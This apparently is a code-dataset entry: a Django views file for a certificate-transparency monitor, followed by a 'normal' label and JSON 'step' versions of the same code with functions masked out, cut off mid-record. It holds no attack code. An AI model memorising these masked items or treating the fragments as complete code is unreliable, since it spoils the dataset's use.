'observer/search.html', { 'term' : term #'found_ca' : found_ca, #'found_cn_dnsname' : found_cn_dnsname } ) def caall(request, page=None): #VIEW FOR CAs if(page==None): return HttpResponsePermanentRedirect("all/1") page = int(page) list_of_certs = [] filtered_qs = CaFilter( request.GET, queryset=Ca.objects.all().order_by('common_name') ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) return render(request, 'observer/cas.html', { 'list_of_ca': list_of_certs, 'filter': filtered_qs#Ca.objects.annotate(num_certs=Count('certificate')).order_by('-num_certs'), } ) def certall(request, page=None, ae=None, issuer_ca=None): #VIEW FOR Certificates->ALL if(page==None): return HttpResponsePermanentRedirect("all/1") ae = request.GET.get("algorithm") issuer_ca = request.GET.get("issuer_ca") date_notbefore = request.GET.get("date_notbefore") date_notbefore_gte = request.GET.get("date_notbefore_gte") is_active = request.GET.get("is_active") date_notafter = request.GET.get("date_notafter") date_notafter_lte = request.GET.get("date_notafter_lte") page = int(page) list_of_certs = [] filtered_qs = CertFilter( request.GET, queryset=MetadataCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate') ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') #Alternative filter solution for better performance #https://localhost/cert/all/1?issuer_ca=merge&date_notbefore=&date_notbefore_gte=&is_active=&date_notafter=&date_notafter_lte= query = FastCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active == "1" or is_active == "" or is_active == None): if(issuer_ca != None and (is_active == None or is_active == "")): query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and (issuer_ca == None or issuer_ca == "")): query = FastCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'certificate') if(issuer_ca == "" and is_active == ""): query = FastCountQuerySet(Certificate.objects.all(), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and issuer_ca != None ): query = FastCountQuerySet(Certificate.objects.filter( issuer_ca__common_name__contains = issuer_ca, not_before__lte=timezone.now(), not_after__gte=timezone.now(), ), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active == "0" or is_active == "" or is_active == None): if(issuer_ca != None and (is_active == None or is_active == "")): query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and (issuer_ca == None or issuer_ca == "")): query = FastCountQuerySet(Certificate.objects.filter(not_after__lte=datetime.date.today()), 'certificate') if(issuer_ca == "" and is_active == ""): query = FastCountQuerySet(Certificate.objects.all(), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) if(is_active != None and issuer_ca != None ): query = FastCountQuerySet(Certificate.objects.filter( issuer_ca__common_name__contains = issuer_ca, not_after__lte=datetime.date.today() ), 'certificate') paginator = Paginator(query, ITEMS_PER_PAGE) #################################################### try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) #if(ae != None): #list_of_certs = Certificate.objects.raw("SELECT * FROM certificate WHERE SIGNATURE_ALGORITHM=%s", [ae]) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs, 'filter': filtered_qs } ) def certactive(request, page=None): if(page==None): return HttpResponsePermanentRedirect("active/1") page = int(page) list_of_certs = [] paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'number_of_active_certs'), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certexpired(request, page=None, order=None): if(page==None): return HttpResponsePermanentRedirect("expired/1") page = int(page) list_of_certs = [] paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_after__lt=timezone.now()), 'number_of_expired_certs'), ITEMS_PER_PAGE) # paginator = Paginator(Certificate.objects.filter(not_after__lt=timezone.now()), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certrevoked(request, page=None): if(page==None): return HttpResponsePermanentRedirect("revoked/1") page = int(page) list_of_certs = [] paginator = Paginator(Certificate.objects.filter(id__in=RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_certs = paginator.page(page) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs } ) def certs_by_log(request, log_id, page=None): if(page==None): return HttpResponsePermanentRedirect("./1") page = int(page) log_id = int(log_id) list_of_certs = [] paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id), ITEMS_PER_PAGE) if(page in paginator.page_range): list_of_entries = paginator.page(page) return render(request, 'observer/log_certs.html', { 'log': get_object_or_404(CtLog, pk=log_id), 'list_of_entries' : list_of_entries } ) def certs_by_ca(request, ca_id, page=None): if(page==None): return HttpResponsePermanentRedirect("certificates/1") page = int(page) ca_id = int(ca_id) list_of_certs = [] filtered_qs = CertFilter( request.GET, queryset=Certificate.objects.filter(issuer_ca=ca_id) ) paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE) page = request.GET.get('page') try: list_of_certs = paginator.page(page) except PageNotAnInteger: list_of_certs = paginator.page(1) return render(request, 'observer/certs.html', { 'list_of_certs': list_of_certs, 'filter': filtered_qs }) # paginator = Paginator(Certificate.objects.filter(issuer_ca=ca_id), ITEMS_PER_PAGE) # if(page in paginator.page_range): # list_of_certs = paginator.page(page) # return render(request, 'observer/certs.html', # { # 'list_of_certs': list_of_certs # } # ) def list_cn_certs(request, cn): field_id = 'common name' expression = cn list_of_certs = Certificate.objects.raw("SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC", [cn]) #list_of_certs = Certificate.objects.filter(certificate__common_name=cn).order_by('not_before') issues = issuefinder.get_all_issues(list(list_of_certs)) #issues = issuefinder.get_first_certificates(list_of_certs) return render(request, 'observer/history.html', { 'field_id': field_id, 'expression': expression, 'list_of_certs': list_of_certs, 'issues':issues } ) def list_dnsname_certs(request, dnsname): field_id = 'dnsname' expression = dnsname list_of_certs = Certificate.objects.raw("SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC", [dnsname]) issues = issuefinder.get_all_issues(list(list_of_certs)) return render(request, 'observer/history.html', { 'field_id': field_id, 'expression': expression, 'list_of_certs': list_of_certs, 'issues':issues } ) def log(request): #LOG VIEW return render(request, 'observer/logs.html', { #'list_of_logs': CtLog.objects.all().annotate(entries=Count('ctlogentry')).order_by('latest_entry_id') 'list_of_logs': CtLog.objects.all().order_by('-is_active','-latest_entry_id','name') } ) def cadetail(request,ca_id): ca = get_object_or_404(Ca, pk=ca_id) #counting number of issued CA's: number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count() return render(request, 'observer/cadetail.html', { 'ca' : ca, 'number_of_issued_ca': number_of_issued_ca}) def certdetail(request,cert_id=None,cert_sha256=None): if cert_sha256: cert_sha256_bin = cert_sha256.decode('hex') #Does not work on python3 cert = get_object_or_404(Certificate, certificate__sha256=cert_sha256_bin) if cert_id: cert = get_object_or_404(Certificate, pk=cert_id) cacert = CaCertificate.objects.filter(certificate_id=cert_id).first() digest_sha256 = str(cert.get_digest_sha256()).replace(':','').lower()[2:-1] #TODO #Certificate.objects.raw("select (select count() from certificate WHERE x509_keySize(certificate) = %s)100/cast(COUNT() as float) as percentage, 0 as id FROM certificate;", #[cert.get_x509_data().get_pubkey().bits()]) #return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': round(keysize_distribution[0].percentage,2)}) return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': 'TODO', 'digest_sha256':digest_sha256}) def certraw(request,cert_id): cert = get_object_or_404(Certificate, pk=cert_id) response = HttpResponse(cert.certificate, content_type='application/octet-stream') response['Content-Disposition'] = 'attachment; filename="certificate_{}.crt'.format(cert_id) return response def logdetail(request,log_id): log = get_object_or_404(CtLog, pk=log_id) number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count() return render(request, 'observer/logdetail.html', { 'log' : log, 'number_of_issued_ca' : number_of_issued_ca}) def flag(request, flag_id): try: with open(os.path.join(BASE_DIR, "static/flags/png/{0}.png".format(flag_id.lower())), "rb") as f: return HttpResponse(f.read(), content_type="image/png") except IOError: with open(os.path.join(BASE_DIR, "static/flags/png/-.png"), "rb") as f: return HttpResponse(f.read(), content_type="image/png") def imprint(request): return render(request, 'observer/imprint.html') def issues(request): return render(request, 'observer/issues.html') def status(request): status = {'analyzer':{'lastrun':0}, 'monitor':{'lastrun':0}, 'msg':'ok'} try: with open('/static/data/status.json', 'r') as f: status = json.load(f) status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status['analyzer']['lastrun']) status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status['monitor']['lastrun']) except Exception as e: status['msg'] = "Could not load status file."+str(e) return render(request, 'observer/status.html', {'status':status}) def certcheck(request): if request.method == 'POST': serial_post = request.POST['serial'] sqlQuery = """SELECT id FROM certificate WHERE serial=%s""" sqlQuery_commonName = """SELECT FROM ca WHERE """ current_time = str(datetime.datetime.now()) serial_int = int(serial_post, 16) serial = serial_int.to_bytes((serial_int.bit_length() + 15) // 8, 'big', signed=True) or b'\0' sqlData = (psycopg2.Binary(serial),) found_serial = Certificate.objects.raw(sqlQuery, sqlData) if(found_serial): return HttpResponse(found_serial) else: return HttpResponse("none") return render(request, 'observer/checkserial.html', {})	normal	{ "blob_id": "bcc959dcdb60c55897158e85d73c59592b112c12", "index": 6381, "step-1": "<mask token>\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': CtLog.\n objects.all().order_by('-is_active', '-latest_entry_id', 'name')})\n\n\ndef cadetail(request, ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n return render(request, 'observer/cadetail.html', {'ca': ca,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request, cert_id=None, cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex')\n cert = get_object_or_404(Certificate, certificate__sha256=\n cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':', '').lower()[2:-1\n ]\n return render(request, 'observer/certdetail.html', {'certificate': cert,\n 'ca_certificate': cacert, 'keysize_distribution': 'TODO',\n 'digest_sha256': digest_sha256})\n\n\n<mask token>\n\n\ndef logdetail(request, log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', {'log': log,\n 'number_of_issued_ca': number_of_issued_ca})\n\n\n<mask token>\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass FastCountQuerySet:\n\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT reltuples FROM pg_class WHERE relname = %s',\n [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, item):\n return self.queryset[item]\n\n\nclass MetadataCountQuerySet:\n\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute('SELECT name_value FROM metadata WHERE name_type = %s',\n [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n\n def __getitem__(self, key):\n return self.queryset[key]\n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n messages = []\n if 'subok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Subscription request</strong> - We sent you a confirmation link via email. Click it, and you should be all set.'\n })\n if 'unsubok' in request.GET:\n messages.append({'class': 'alert-info', 'text':\n '<strong>Unsubscription request</strong> - We sent you a confirmation link via email. sClick it, and you should be all set.'\n })\n subscribeform = SubscribeUnsubscribeForm()\n with connection.cursor() as c:\n c.execute('SELECT NAME_TYPE, NAME_VALUE FROM metadata')\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n return render(request, 'observer/index.html', {'total_certs': metadata[\n 'number_of_certs'], 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(), 'active_certs': metadata[\n 'number_of_active_certs'], 'expired_certs': metadata[\n 'number_of_expired_certs'], 'revoked_certs': metadata[\n 'number_of_revoked_certs'], 'misissued_certs': metadata[\n 'number_of_misissued_certs'], 'behaving_cas': metadata[\n 'number_of_correctly_behaving_cas'], 'interesting_cas': metadata[\n 'number_of_interesting_cas'], 'biggest_log': metadata[\n 'number_of_certs_in_biggest_log'], 'biggest_log_name': CtLog.\n objects.get(id=metadata['biggest_log_id']).name, 'smallest_log':\n metadata['number_of_certs_in_smallest_log'], 'uptime_days': (\n timezone.now().date() - datetime.date(2015, 10, 14)).days,\n 'messages': messages, 'subscribeform': subscribeform})\n\n\ndef search(request):\n term = request.GET.get('term', '')\n return render(request, 'observer/search.html', {'term': term})\n\n\ndef caall(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n page = int(page)\n list_of_certs = []\n filtered_qs = CaFilter(request.GET, queryset=Ca.objects.all().order_by(\n 'common_name'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/cas.html', {'list_of_ca':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef certall(request, page=None, ae=None, issuer_ca=None):\n if page == None:\n return HttpResponsePermanentRedirect('all/1')\n ae = request.GET.get('algorithm')\n issuer_ca = request.GET.get('issuer_ca')\n date_notbefore = request.GET.get('date_notbefore')\n date_notbefore_gte = request.GET.get('date_notbefore_gte')\n is_active = request.GET.get('is_active')\n date_notafter = request.GET.get('date_notafter')\n date_notafter_lte = request.GET.get('date_notafter_lte')\n page = int(page)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=MetadataCountQuerySet(\n Certificate.objects.all().order_by('-id'), 'certificate'))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'),\n 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '1' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_before__lte=timezone.now(), not_after__gte=timezone.now\n ()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_before__lte\n =timezone.now(), not_after__gte=timezone.now()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active == '0' or is_active == '' or is_active == None:\n if issuer_ca != None and (is_active == None or is_active == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and (issuer_ca == None or issuer_ca == ''):\n query = FastCountQuerySet(Certificate.objects.filter(\n not_after__lte=datetime.date.today()), 'certificate')\n if issuer_ca == '' and is_active == '':\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n if is_active != None and issuer_ca != None:\n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains=issuer_ca, not_after__lte=\n datetime.date.today()), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\n<mask token>\n\n\ndef certexpired(request, page=None, order=None):\n if page == None:\n return HttpResponsePermanentRedirect('expired/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(\n not_after__lt=timezone.now()), 'number_of_expired_certs'),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certrevoked(request, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('revoked/1')\n page = int(page)\n list_of_certs = []\n paginator = Paginator(Certificate.objects.filter(id__in=\n RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE\n )\n if page in paginator.page_range:\n list_of_certs = paginator.page(page)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs})\n\n\ndef certs_by_log(request, log_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('./1')\n page = int(page)\n log_id = int(log_id)\n list_of_certs = []\n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id),\n ITEMS_PER_PAGE)\n if page in paginator.page_range:\n list_of_entries = paginator.page(page)\n return render(request, 'observer/log_certs.html', {'log':\n get_object_or_404(CtLog, pk=log_id), 'list_of_entries':\n list_of_entries})\n\n\ndef certs_by_ca(request, ca_id, page=None):\n if page == None:\n return HttpResponsePermanentRedirect('certificates/1')\n page = int(page)\n ca_id = int(ca_id)\n list_of_certs = []\n filtered_qs = CertFilter(request.GET, queryset=Certificate.objects.\n filter(issuer_ca=ca_id))\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n return render(request, 'observer/certs.html', {'list_of_certs':\n list_of_certs, 'filter': filtered_qs})\n\n\ndef list_cn_certs(request, cn):\n field_id = 'common name'\n expression = cn\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [cn])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef list_dnsname_certs(request, dnsname):\n field_id = 'dnsname'\n expression = dnsname\n list_of_certs = Certificate.objects.raw(\n \"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\"\n , [dnsname])\n issues = issuefinder.get_all_issues(list(list_of_certs))\n return render(request, 'observer/history.html', {'field_id': field_id,\n 'expression': expression, 'list_of_certs': list_of_certs, 'issues':\n issues})\n\n\ndef log(request):\n return render(request, 'observer/logs.html', {'list_of_logs': 